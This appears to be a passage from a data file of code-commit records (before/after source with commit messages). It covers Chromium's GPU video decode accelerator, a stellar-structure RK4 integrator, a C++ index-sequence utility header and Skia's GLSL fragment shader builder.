 }\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ErrorNotification(\n          host_route_id_, error))) {\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ErrorNotification) \"\n               << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::Initialize(\n    const std::vector<int32>& configs,\n    IPC::Message* init_done_msg) {\n  DCHECK(!video_decode_accelerator_.get());\n  DCHECK(!init_done_msg_);\n  DCHECK(init_done_msg);\n#if defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n  DCHECK(stub_ && stub_->scheduler());\n  init_done_msg_ = init_done_msg;\n  OmxVideoDecodeAccelerator* omx_decoder = new OmxVideoDecodeAccelerator(this);\n  omx_decoder->SetEglState(\n      gfx::GLSurfaceEGL::GetHardwareDisplay(),\n      stub_->scheduler()->decoder()->GetGLContext()->GetHandle());\n  video_decode_accelerator_ = omx_decoder;\n  video_decode_accelerator_->Initialize(configs);\n#else\n  NOTIMPLEMENTED() << \"HW video decode acceleration not available.\";\n  NotifyError(media::VideoDecodeAccelerator::PLATFORM_FAILURE);\n#endif  \/\/ defined(OS_CHROMEOS) && defined(ARCH_CPU_ARMEL)\n}\n\nvoid GpuVideoDecodeAccelerator::OnDecode(\n    base::SharedMemoryHandle handle, int32 id, int32 size) {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Decode(media::BitstreamBuffer(id, handle, size));\n}\n\nvoid GpuVideoDecodeAccelerator::OnAssignPictureBuffers(\n      const std::vector<int32>& buffer_ids,\n      const std::vector<uint32>& texture_ids,\n      const std::vector<gfx::Size>& sizes) {\n  DCHECK(stub_ && stub_->scheduler());  \/\/ Ensure already Initialize()'d.\n  gpu::gles2::GLES2Decoder* command_decoder = stub_->scheduler()->decoder();\n\n  std::vector<media::PictureBuffer> buffers;\n  for (uint32 i = 0; i < buffer_ids.size(); ++i) {\n    uint32 service_texture_id;\n    if (!command_decoder->GetServiceTextureId(\n            texture_ids[i], &service_texture_id)) {\n      \/\/ TODO(vrk): Send an error for invalid GLES buffers.\n      LOG(DFATAL) << \"Failed to translate texture!\";\n      return;\n    }\n    buffers.push_back(media::PictureBuffer(\n        buffer_ids[i], sizes[i], service_texture_id));\n  }\n  video_decode_accelerator_->AssignPictureBuffers(buffers);\n}\n\nvoid GpuVideoDecodeAccelerator::OnReusePictureBuffer(\n    int32 picture_buffer_id) {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->ReusePictureBuffer(picture_buffer_id);\n}\n\nvoid GpuVideoDecodeAccelerator::OnFlush() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Flush();\n}\n\nvoid GpuVideoDecodeAccelerator::OnReset() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Reset();\n}\n\nvoid GpuVideoDecodeAccelerator::OnDestroy() {\n  DCHECK(video_decode_accelerator_.get());\n  video_decode_accelerator_->Destroy();\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyEndOfBitstreamBuffer(\n    int32 bitstream_buffer_id) {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_BitstreamBufferProcessed(\n          host_route_id_, bitstream_buffer_id))) {\n    DLOG(ERROR)\n        << \"Send(AcceleratedVideoDecoderHostMsg_BitstreamBufferProcessed) \"\n        << \"failed\";\n  }\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyInitializeDone() {\n  if (!Send(init_done_msg_))\n    LOG(ERROR) << \"Send(init_done_msg_) failed\";\n  init_done_msg_ = NULL;\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyFlushDone() {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_FlushDone(host_route_id_)))\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_FlushDone) failed\";\n}\n\nvoid GpuVideoDecodeAccelerator::NotifyResetDone() {\n  if (!Send(new AcceleratedVideoDecoderHostMsg_ResetDone(host_route_id_)))\n    LOG(ERROR) << \"Send(AcceleratedVideoDecoderHostMsg_ResetDone) failed\";\n}\n\nbool GpuVideoDecodeAccelerator::Send(IPC::Message* message) {\n  DCHECK(sender_);\n  return sender_->Send(message);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Definition of the Stellar Structure derivatives and their integrations\n * using RK4 *\/\n\n#include <cmath>\n#include \"ssFunctions.h\"\n\n\n\tusing namespace std; \/\/Because YOLO\n\n\n\/\/Mass\n\ndouble massDerivative(double radius, double mass, double density)\n\t{\n\t\tdouble derivative = 4 * ::pi * pow (radius , 2) * density ;\n\t\t\n\t\treturn derivative;\n\t}\n\n\t\/\/RK4 integration\ndouble massFunction(double radius, double mass, double density)\n\t{\n\t\tdouble k1,k2,k3,k4;\n\t\tdouble newMass;\n\t\t\n\t\tk1=massDerivative( radius , mass , density);\n\t\tk2=massDerivative( radius+0.5 * ::step , mass+0.5*::step*k1 , density);\n\t\tk3=massDerivative( radius+ 0.5 * ::step, mass + 0.5* ::step *k2 , density);\n\t\tk4=massDerivative( radius+ ::step , mass + ::step *k3 , density );\n\t\n\t\tnewMass = mass + (::step\/6)*(k1+2*k2+2*k3+k4);\n\n\t\treturn newMass;\n\t}\n\n\n\/\/Pressure\n\ndouble pressureDerivative(double radius, double pressure , double mass, double density)\n\t{\n\t\tdouble derivative = -1 * ::gravitationalConstant * mass * ( 1 \/ pow( radius , 2 ) ) * density ;\n\t\t\n\t\treturn derivative;\n\t}\n\n\t\/\/RK4 integration\ndouble pressureFunction(double radius, double pressure, double mass, double density)\n\t{\n\t\tdouble k1,k2,k3,k4;\n\t\tdouble newPressure;\n\t\t\n\t\tk1=pressureDerivative( radius , pressure , mass , density);\n\t\tk2=pressureDerivative(radius+0.5* ::step , pressure+ 0.5* ::step * k1 , mass, density);\n\t\tk3=pressureDerivative(radius+ 0.5 * ::step , pressure + 0.5* ::step *k2 , mass , density);\n\t\tk4=pressureDerivative(radius+ ::step , pressure + ::step *k3 , mass , density );\n\t\n\t\tnewPressure = pressure + (::step\/6)*(k1+2*k2+2*k3+k4);\n\n\t\treturn newPressure;\n\t}\n\n\n\/\/Density, polytropic fluid equation\ndouble densityFunction( double pressure )\n\t{\n\t\tdouble newValue, base;\n\n\t\tbase = ( pressure \/ polytropicConstant );\n\n\t\tnewValue = pow( base , polytropicIndex );\n\t\t\n\t\treturn newValue;\n\t}\n<commit_msg>Delete ssFunctions.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef UTILITY_HPP\n# define UTILITY_HPP\n\n#include <cstddef>\n\n#include <type_traits>\n\nnamespace generic\n{\n\ntemplate <::std::size_t...> struct indices { };\n\nnamespace detail\n{\n\n\/\/ indices\ntemplate<class A, class B> struct catenate_indices;\n\ntemplate <::std::size_t ...Is, ::std::size_t ...Js>\nstruct catenate_indices<indices<Is...>, indices<Js...> >\n{\n  using indices_type = indices<Is..., Js...>;\n};\n\ntemplate <::std::size_t, ::std::size_t, typename = void> struct expand_indices;\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct expand_indices<A, B, typename ::std::enable_if<A == B>::type>\n{\n  using indices_type = indices<A>;\n};\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct expand_indices<A, B, typename ::std::enable_if<A != B>::type>\n{\n  static_assert(A < B, \"A > B\");\n  using indices_type = typename catenate_indices<\n    typename expand_indices<A, (A + B) \/ 2>::indices_type,\n    typename expand_indices<(A + B) \/ 2 + 1, B>::indices_type\n  >::indices_type;\n};\n\n}\n\ntemplate<typename T> constexpr inline T const& as_const(T& t) { return t; }\n\ntemplate <::std::size_t A>\nstruct make_indices : detail::expand_indices<0, A>::indices_type\n{\n};\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct make_indices_range : detail::expand_indices<A, B>::indices_type\n{\n};\n\n\/\/ sequences\ntemplate <::std::size_t I, typename A, typename ...B>\nstruct type_at : type_at<I - 1, B...>\n{\n};\n\ntemplate <typename A, typename ...B>\nstruct type_at<0, A, B...>\n{\n  using type = A;\n};\n\ntemplate <typename A, typename ...B>\nstruct front\n{\n  using type = A;\n};\n\ntemplate <typename A, typename ...B>\nstruct back : back<B...>\n{\n};\n\ntemplate <typename A>\nstruct back<A>\n{\n  using type = A;\n};\n\ntemplate <bool B>\nusing bool_ = ::std::integral_constant<bool, B>;\n\ntemplate <class A, class ...B>\nstruct all_of : bool_<A::value && all_of<B...>::value> { };\n\ntemplate <class A>\nstruct all_of<A> : bool_<A::value> { };\n\n}\n\n#endif \/\/ UTILITY_HPP\n<commit_msg>some fixes<commit_after>#ifndef UTILITY_HPP\n# define UTILITY_HPP\n\n#include <cstddef>\n\n#include <type_traits>\n\nnamespace generic\n{\n\ntemplate<typename T> constexpr inline T const& as_const(T& t) { return t; }\n\ntemplate <::std::size_t...> struct indices { };\n\nnamespace detail\n{\n\n\/\/ indices\ntemplate<class A, class B> struct catenate_indices;\n\ntemplate <::std::size_t ...Is, ::std::size_t ...Js>\nstruct catenate_indices<indices<Is...>, indices<Js...> >\n{\n  using indices_type = indices<Is..., Js...>;\n};\n\ntemplate <::std::size_t, ::std::size_t, typename = void> struct expand_indices;\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct expand_indices<A, B, typename ::std::enable_if<A == B>::type>\n{\n  using indices_type = indices<A>;\n};\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct expand_indices<A, B, typename ::std::enable_if<A != B>::type>\n{\n  static_assert(A < B, \"A > B\");\n  using indices_type = typename catenate_indices<\n    typename expand_indices<A, (A + B) \/ 2>::indices_type,\n    typename expand_indices<(A + B) \/ 2 + 1, B>::indices_type\n  >::indices_type;\n};\n\n}\n\ntemplate <::std::size_t A>\nstruct make_indices : detail::expand_indices<0, A>::indices_type\n{\n};\n\ntemplate <::std::size_t A, ::std::size_t B>\nstruct make_indices_range : detail::expand_indices<A, B>::indices_type\n{\n};\n\n\/\/ sequences\ntemplate <::std::size_t I, typename A, typename ...B>\nstruct type_at : type_at<I - 1, B...>\n{\n};\n\ntemplate <typename A, typename ...B>\nstruct type_at<0, A, B...>\n{\n  using type = A;\n};\n\ntemplate <typename A, typename ...B>\nstruct front\n{\n  using type = A;\n};\n\ntemplate <typename A, typename ...B>\nstruct back : back<B...>\n{\n};\n\ntemplate <typename A>\nstruct back<A>\n{\n  using type = A;\n};\n\ntemplate <bool B>\nusing bool_ = ::std::integral_constant<bool, B>;\n\ntemplate <class A, class ...B>\nstruct all_of : bool_<A::value && all_of<B...>::value> { };\n\ntemplate <class A>\nstruct all_of<A> : bool_<A::value> { };\n\n}\n\n#endif \/\/ UTILITY_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2014 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrGLSLFragmentShaderBuilder.h\"\n#include \"GrRenderTarget.h\"\n#include \"GrRenderTargetPriv.h\"\n#include \"GrShaderCaps.h\"\n#include \"gl\/GrGLGpu.h\"\n#include \"glsl\/GrGLSLProgramBuilder.h\"\n#include \"glsl\/GrGLSLUniformHandler.h\"\n#include \"glsl\/GrGLSLVarying.h\"\n#include \"..\/private\/GrGLSL.h\"\n\nconst char* GrGLSLFragmentShaderBuilder::kDstColorName = \"_dstColor\";\n\nstatic const char* sample_offset_array_name(GrGLSLFPFragmentBuilder::Coordinates coords) {\n    static const char* kArrayNames[] = {\n        \"deviceSpaceSampleOffsets\",\n        \"windowSpaceSampleOffsets\"\n    };\n    return kArrayNames[coords];\n\n    GR_STATIC_ASSERT(0 == GrGLSLFPFragmentBuilder::kSkiaDevice_Coordinates);\n    GR_STATIC_ASSERT(1 == GrGLSLFPFragmentBuilder::kGLSLWindow_Coordinates);\n    GR_STATIC_ASSERT(SK_ARRAY_COUNT(kArrayNames) == GrGLSLFPFragmentBuilder::kLast_Coordinates + 1);\n}\n\nstatic const char* specific_layout_qualifier_name(GrBlendEquation equation) {\n    SkASSERT(GrBlendEquationIsAdvanced(equation));\n\n    static const char* kLayoutQualifierNames[] = {\n        \"blend_support_screen\",\n        \"blend_support_overlay\",\n        \"blend_support_darken\",\n        \"blend_support_lighten\",\n        \"blend_support_colordodge\",\n        \"blend_support_colorburn\",\n        \"blend_support_hardlight\",\n        \"blend_support_softlight\",\n        \"blend_support_difference\",\n        \"blend_support_exclusion\",\n        \"blend_support_multiply\",\n        \"blend_support_hsl_hue\",\n        \"blend_support_hsl_saturation\",\n        \"blend_support_hsl_color\",\n        \"blend_support_hsl_luminosity\"\n    };\n    return kLayoutQualifierNames[equation - kFirstAdvancedGrBlendEquation];\n\n    GR_STATIC_ASSERT(0 == kScreen_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(1 == kOverlay_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(2 == kDarken_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(3 == kLighten_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(4 == kColorDodge_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(5 == kColorBurn_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(6 == kHardLight_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(7 == kSoftLight_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(8 == kDifference_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(9 == kExclusion_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(10 == kMultiply_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(11 == kHSLHue_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(12 == kHSLSaturation_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(13 == kHSLColor_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(14 == kHSLLuminosity_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(SK_ARRAY_COUNT(kLayoutQualifierNames) ==\n                     kGrBlendEquationCnt - kFirstAdvancedGrBlendEquation);\n}\n\nuint8_t GrGLSLFragmentShaderBuilder::KeyForSurfaceOrigin(GrSurfaceOrigin origin) {\n    SkASSERT(kTopLeft_GrSurfaceOrigin == origin || kBottomLeft_GrSurfaceOrigin == origin);\n    return origin + 1;\n\n    GR_STATIC_ASSERT(0 == kTopLeft_GrSurfaceOrigin);\n    GR_STATIC_ASSERT(1 == kBottomLeft_GrSurfaceOrigin);\n}\n\nGrGLSLFragmentShaderBuilder::GrGLSLFragmentShaderBuilder(GrGLSLProgramBuilder* program)\n    : GrGLSLFragmentBuilder(program)\n    , fSetupFragPosition(false)\n    , fHasCustomColorOutput(false)\n    , fCustomColorOutputIndex(-1)\n    , fHasSecondaryOutput(false)\n    , fUsedSampleOffsetArrays(0)\n    , fHasInitializedSampleMask(false) {\n    fSubstageIndices.push_back(0);\n#ifdef SK_DEBUG\n    fUsedProcessorFeatures = GrProcessor::kNone_RequiredFeatures;\n    fHasReadDstColor = false;\n#endif\n}\n\nbool GrGLSLFragmentShaderBuilder::enableFeature(GLSLFeature feature) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    switch (feature) {\n        case kMultisampleInterpolation_GLSLFeature:\n            if (!shaderCaps.multisampleInterpolationSupport()) {\n                return false;\n            }\n            if (const char* extension = shaderCaps.multisampleInterpolationExtensionString()) {\n                this->addFeature(1 << kMultisampleInterpolation_GLSLFeature, extension);\n            }\n            return true;\n        default:\n            SK_ABORT(\"Unexpected GLSLFeature requested.\");\n            return false;\n    }\n}\n\nSkString GrGLSLFragmentShaderBuilder::ensureCoords2D(const GrShaderVar& coords) {\n    if (kHighFloat3_GrSLType != coords.getType() && kHalf3_GrSLType != coords.getType()) {\n        SkASSERT(kHighFloat2_GrSLType == coords.getType() || kHalf2_GrSLType == coords.getType());\n        return coords.getName();\n    }\n\n    SkString coords2D;\n    coords2D.printf(\"%s_ensure2D\", coords.c_str());\n    this->codeAppendf(\"\\thighfloat2 %s = %s.xy \/ %s.z;\", coords2D.c_str(), coords.c_str(),\n                      coords.c_str());\n    return coords2D;\n}\n\nvoid GrGLSLFragmentShaderBuilder::appendOffsetToSample(const char* sampleIdx, Coordinates coords) {\n    SkASSERT(fProgramBuilder->header().fSamplePatternKey);\n    SkDEBUGCODE(fUsedProcessorFeatures |= GrProcessor::kSampleLocations_RequiredFeature);\n    if (kTopLeft_GrSurfaceOrigin == this->getSurfaceOrigin()) {\n        \/\/ With a top left origin, device and window space are equal, so we only use device coords.\n        coords = kSkiaDevice_Coordinates;\n    }\n    this->codeAppendf(\"%s[%s]\", sample_offset_array_name(coords), sampleIdx);\n    fUsedSampleOffsetArrays |= (1 << coords);\n}\n\nvoid GrGLSLFragmentShaderBuilder::maskSampleCoverage(const char* mask, bool invert) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    if (!shaderCaps.sampleVariablesSupport()) {\n        SkDEBUGFAIL(\"Attempted to mask sample coverage without support.\");\n        return;\n    }\n    if (const char* extension = shaderCaps.sampleVariablesExtensionString()) {\n        this->addFeature(1 << kSampleVariables_GLSLPrivateFeature, extension);\n    }\n    if (!fHasInitializedSampleMask) {\n        this->codePrependf(\"gl_SampleMask[0] = -1;\");\n        fHasInitializedSampleMask = true;\n    }\n    if (invert) {\n        this->codeAppendf(\"gl_SampleMask[0] &= ~(%s);\", mask);\n    } else {\n        this->codeAppendf(\"gl_SampleMask[0] &= %s;\", mask);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::overrideSampleCoverage(const char* mask) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    if (!shaderCaps.sampleMaskOverrideCoverageSupport()) {\n        SkDEBUGFAIL(\"Attempted to override sample coverage without support.\");\n        return;\n    }\n    SkASSERT(shaderCaps.sampleVariablesSupport());\n    if (const char* extension = shaderCaps.sampleVariablesExtensionString()) {\n        this->addFeature(1 << kSampleVariables_GLSLPrivateFeature, extension);\n    }\n    if (this->addFeature(1 << kSampleMaskOverrideCoverage_GLSLPrivateFeature,\n                         \"GL_NV_sample_mask_override_coverage\")) {\n        \/\/ Redeclare gl_SampleMask with layout(override_coverage) if we haven't already.\n        fOutputs.push_back().set(kInt_GrSLType, \"gl_SampleMask\", 1, GrShaderVar::kOut_TypeModifier,\n                                 kHigh_GrSLPrecision, \"override_coverage\");\n    }\n    this->codeAppendf(\"gl_SampleMask[0] = %s;\", mask);\n    fHasInitializedSampleMask = true;\n}\n\nconst char* GrGLSLFragmentShaderBuilder::dstColor() {\n    SkDEBUGCODE(fHasReadDstColor = true;)\n\n    const char* override = fProgramBuilder->primitiveProcessor().getDestColorOverride();\n    if (override != nullptr) {\n        return override;\n    }\n\n    const GrShaderCaps* shaderCaps = fProgramBuilder->shaderCaps();\n    if (shaderCaps->fbFetchSupport()) {\n        this->addFeature(1 << kFramebufferFetch_GLSLPrivateFeature,\n                         shaderCaps->fbFetchExtensionString());\n\n        \/\/ Some versions of this extension string require declaring custom color output on ES 3.0+\n        const char* fbFetchColorName = shaderCaps->fbFetchColorName();\n        if (shaderCaps->fbFetchNeedsCustomOutput()) {\n            this->enableCustomOutput();\n            fOutputs[fCustomColorOutputIndex].setTypeModifier(GrShaderVar::kInOut_TypeModifier);\n            fbFetchColorName = DeclaredColorOutputName();\n            \/\/ Set the dstColor to an intermediate variable so we don't override it with the output\n            this->codeAppendf(\"half4 %s = %s;\", kDstColorName, fbFetchColorName);\n        } else {\n            return fbFetchColorName;\n        }\n    }\n    return kDstColorName;\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableAdvancedBlendEquationIfNeeded(GrBlendEquation equation) {\n    SkASSERT(GrBlendEquationIsAdvanced(equation));\n\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    if (!caps.mustEnableAdvBlendEqs()) {\n        return;\n    }\n\n    this->addFeature(1 << kBlendEquationAdvanced_GLSLPrivateFeature,\n                     \"GL_KHR_blend_equation_advanced\");\n    if (caps.mustEnableSpecificAdvBlendEqs()) {\n        this->addLayoutQualifier(specific_layout_qualifier_name(equation), kOut_InterfaceQualifier);\n    } else {\n        this->addLayoutQualifier(\"blend_support_all_equations\", kOut_InterfaceQualifier);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableCustomOutput() {\n    if (!fHasCustomColorOutput) {\n        fHasCustomColorOutput = true;\n        fCustomColorOutputIndex = fOutputs.count();\n        fOutputs.push_back().set(kHalf4_GrSLType, DeclaredColorOutputName(),\n                                 GrShaderVar::kOut_TypeModifier);\n        fProgramBuilder->finalizeFragmentOutputColor(fOutputs.back()); \n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableSecondaryOutput() {\n    SkASSERT(!fHasSecondaryOutput);\n    fHasSecondaryOutput = true;\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    if (const char* extension = caps.secondaryOutputExtensionString()) {\n        this->addFeature(1 << kBlendFuncExtended_GLSLPrivateFeature, extension);\n    }\n\n    \/\/ If the primary output is declared, we must declare also the secondary output\n    \/\/ and vice versa, since it is not allowed to use a built-in gl_FragColor and a custom\n    \/\/ output. The condition also co-incides with the condition in whici GLES SL 2.0\n    \/\/ requires the built-in gl_SecondaryFragColorEXT, where as 3.0 requires a custom output.\n    if (caps.mustDeclareFragmentShaderOutput()) {\n        fOutputs.push_back().set(kHalf4_GrSLType, DeclaredSecondaryColorOutputName(),\n                                 GrShaderVar::kOut_TypeModifier);\n        fProgramBuilder->finalizeFragmentSecondaryColor(fOutputs.back());\n    }\n}\n\nconst char* GrGLSLFragmentShaderBuilder::getPrimaryColorOutputName() const {\n    return fHasCustomColorOutput ? DeclaredColorOutputName() : \"sk_FragColor\";\n}\n\nvoid GrGLSLFragmentBuilder::declAppendf(const char* fmt, ...) {\n    va_list argp;\n    va_start(argp, fmt);\n    inputs().appendVAList(fmt, argp);\n    va_end(argp);\n}\n\nconst char* GrGLSLFragmentShaderBuilder::getSecondaryColorOutputName() const {\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    return caps.mustDeclareFragmentShaderOutput() ? DeclaredSecondaryColorOutputName()\n                                                  : \"gl_SecondaryFragColorEXT\";\n}\n\nGrSurfaceOrigin GrGLSLFragmentShaderBuilder::getSurfaceOrigin() const {\n    SkASSERT(fProgramBuilder->header().fSurfaceOriginKey);\n    return static_cast<GrSurfaceOrigin>(fProgramBuilder->header().fSurfaceOriginKey-1);\n\n    GR_STATIC_ASSERT(0 == kTopLeft_GrSurfaceOrigin);\n    GR_STATIC_ASSERT(1 == kBottomLeft_GrSurfaceOrigin);\n}\n\nvoid GrGLSLFragmentShaderBuilder::onFinalize() {\n    fProgramBuilder->varyingHandler()->getFragDecls(&this->inputs(), &this->outputs());\n    if (fUsedSampleOffsetArrays & (1 << kSkiaDevice_Coordinates)) {\n        this->defineSampleOffsetArray(sample_offset_array_name(kSkiaDevice_Coordinates),\n                                      SkMatrix::MakeTrans(-0.5f, -0.5f));\n    }\n    if (fUsedSampleOffsetArrays & (1 << kGLSLWindow_Coordinates)) {\n        \/\/ With a top left origin, device and window space are equal, so we only use device coords.\n        SkASSERT(kBottomLeft_GrSurfaceOrigin == this->getSurfaceOrigin());\n        SkMatrix m;\n        m.setScale(1, -1);\n        m.preTranslate(-0.5f, -0.5f);\n        this->defineSampleOffsetArray(sample_offset_array_name(kGLSLWindow_Coordinates), m);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::defineSampleOffsetArray(const char* name, const SkMatrix& m) {\n    SkASSERT(fProgramBuilder->caps()->sampleLocationsSupport());\n    const GrPipeline& pipeline = fProgramBuilder->pipeline();\n    const GrRenderTargetPriv& rtp = pipeline.renderTarget()->renderTargetPriv();\n    const GrGpu::MultisampleSpecs& specs = rtp.getMultisampleSpecs(pipeline);\n    SkSTArray<16, SkPoint, true> offsets;\n    offsets.push_back_n(specs.fEffectiveSampleCnt);\n    m.mapPoints(offsets.begin(), specs.fSampleLocations, specs.fEffectiveSampleCnt);\n    this->definitions().appendf(\"const highfloat2 %s[] = highfloat2[](\", name);\n    for (int i = 0; i < specs.fEffectiveSampleCnt; ++i) {\n        this->definitions().appendf(\"highfloat2(%f, %f)\", offsets[i].x(), offsets[i].y());\n        this->definitions().append(i + 1 != specs.fEffectiveSampleCnt ? \", \" : \");\\n\");\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::onBeforeChildProcEmitCode() {\n    SkASSERT(fSubstageIndices.count() >= 1);\n    fSubstageIndices.push_back(0);\n    \/\/ second-to-last value in the fSubstageIndices stack is the index of the child proc\n    \/\/ at that level which is currently emitting code.\n    fMangleString.appendf(\"_c%d\", fSubstageIndices[fSubstageIndices.count() - 2]);\n}\n\nvoid GrGLSLFragmentShaderBuilder::onAfterChildProcEmitCode() {\n    SkASSERT(fSubstageIndices.count() >= 2);\n    fSubstageIndices.pop_back();\n    fSubstageIndices.back()++;\n    int removeAt = fMangleString.findLastOf('_');\n    fMangleString.remove(removeAt, fMangleString.size() - removeAt);\n}\n<commit_msg>fix for uninitialized GrGLSLFragmentShaderBuilder field<commit_after>\/*\n * Copyright 2014 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrGLSLFragmentShaderBuilder.h\"\n#include \"GrRenderTarget.h\"\n#include \"GrRenderTargetPriv.h\"\n#include \"GrShaderCaps.h\"\n#include \"gl\/GrGLGpu.h\"\n#include \"glsl\/GrGLSLProgramBuilder.h\"\n#include \"glsl\/GrGLSLUniformHandler.h\"\n#include \"glsl\/GrGLSLVarying.h\"\n#include \"..\/private\/GrGLSL.h\"\n\nconst char* GrGLSLFragmentShaderBuilder::kDstColorName = \"_dstColor\";\n\nstatic const char* sample_offset_array_name(GrGLSLFPFragmentBuilder::Coordinates coords) {\n    static const char* kArrayNames[] = {\n        \"deviceSpaceSampleOffsets\",\n        \"windowSpaceSampleOffsets\"\n    };\n    return kArrayNames[coords];\n\n    GR_STATIC_ASSERT(0 == GrGLSLFPFragmentBuilder::kSkiaDevice_Coordinates);\n    GR_STATIC_ASSERT(1 == GrGLSLFPFragmentBuilder::kGLSLWindow_Coordinates);\n    GR_STATIC_ASSERT(SK_ARRAY_COUNT(kArrayNames) == GrGLSLFPFragmentBuilder::kLast_Coordinates + 1);\n}\n\nstatic const char* specific_layout_qualifier_name(GrBlendEquation equation) {\n    SkASSERT(GrBlendEquationIsAdvanced(equation));\n\n    static const char* kLayoutQualifierNames[] = {\n        \"blend_support_screen\",\n        \"blend_support_overlay\",\n        \"blend_support_darken\",\n        \"blend_support_lighten\",\n        \"blend_support_colordodge\",\n        \"blend_support_colorburn\",\n        \"blend_support_hardlight\",\n        \"blend_support_softlight\",\n        \"blend_support_difference\",\n        \"blend_support_exclusion\",\n        \"blend_support_multiply\",\n        \"blend_support_hsl_hue\",\n        \"blend_support_hsl_saturation\",\n        \"blend_support_hsl_color\",\n        \"blend_support_hsl_luminosity\"\n    };\n    return kLayoutQualifierNames[equation - kFirstAdvancedGrBlendEquation];\n\n    GR_STATIC_ASSERT(0 == kScreen_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(1 == kOverlay_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(2 == kDarken_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(3 == kLighten_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(4 == kColorDodge_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(5 == kColorBurn_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(6 == kHardLight_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(7 == kSoftLight_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(8 == kDifference_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(9 == kExclusion_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(10 == kMultiply_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(11 == kHSLHue_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(12 == kHSLSaturation_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(13 == kHSLColor_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(14 == kHSLLuminosity_GrBlendEquation - kFirstAdvancedGrBlendEquation);\n    GR_STATIC_ASSERT(SK_ARRAY_COUNT(kLayoutQualifierNames) ==\n                     kGrBlendEquationCnt - kFirstAdvancedGrBlendEquation);\n}\n\nuint8_t GrGLSLFragmentShaderBuilder::KeyForSurfaceOrigin(GrSurfaceOrigin origin) {\n    SkASSERT(kTopLeft_GrSurfaceOrigin == origin || kBottomLeft_GrSurfaceOrigin == origin);\n    return origin + 1;\n\n    GR_STATIC_ASSERT(0 == kTopLeft_GrSurfaceOrigin);\n    GR_STATIC_ASSERT(1 == kBottomLeft_GrSurfaceOrigin);\n}\n\nGrGLSLFragmentShaderBuilder::GrGLSLFragmentShaderBuilder(GrGLSLProgramBuilder* program)\n    : GrGLSLFragmentBuilder(program)\n    , 